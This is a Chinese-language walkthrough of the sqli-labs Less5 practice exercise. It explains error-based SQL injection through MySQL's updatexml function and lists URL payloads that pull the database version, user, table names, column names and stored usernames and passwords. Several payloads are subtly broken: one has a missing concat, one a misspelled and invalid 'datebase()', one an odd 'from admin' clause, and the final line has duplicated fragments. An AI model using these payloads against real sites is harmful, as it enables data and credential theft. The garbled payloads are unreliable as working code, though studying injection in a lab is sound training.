Less5
单引号的注入
?id=1' 报错
?id=1'%23 尝试闭合,成功回显
看到这个报错信息,基本就行布尔型盲注、报错型注入、时间延迟型盲注,UNION联合查询型注入应该是不能用了。
查看源代码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
{
echo 'You are in...........';
}
语句和Less1一致,只是没有输出$row,因而也看不到相应的信息,如果要挖掘数据库信息,这里可以用到报错注入。
用到函数UpdateXml (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
payload:
?id=1' and updatexml(1,concat(0x7e,version(),0x7e),1)%23
CONCAT(str1,str2,…)
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。
通过查询version(),返回版本。然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。
错误大概会是:ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’
(Xpath格式 : https://www.cnblogs.com/Loofah/archive/2012/05/10/2494036.html)
报数据库版本信息
?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)%23
链接用户
?id=1' and updatexml(1,(0x7e,(select user()),0x7e),1)%23
链接数据库
?id=1' and updatexml(1,concat(0x7e,concat(select datebase()),0x7e),1)%23
爆库--security
?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e,(select schema_name),0x7e)from admin limit 0,1),0x7e),1)%23
或者:
?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1)%23
爆表-- emails,referers,uagents,users
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1),0x7e),1) %23
爆列名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' limit 0,1),0x7e),1) %23
爆字段
?id=1' and updatexml(1,concat(0x7e,(select concat_ws('%23',username,password) from users limit 0,1),0x7e),1) %230,1),0x7e),1) %23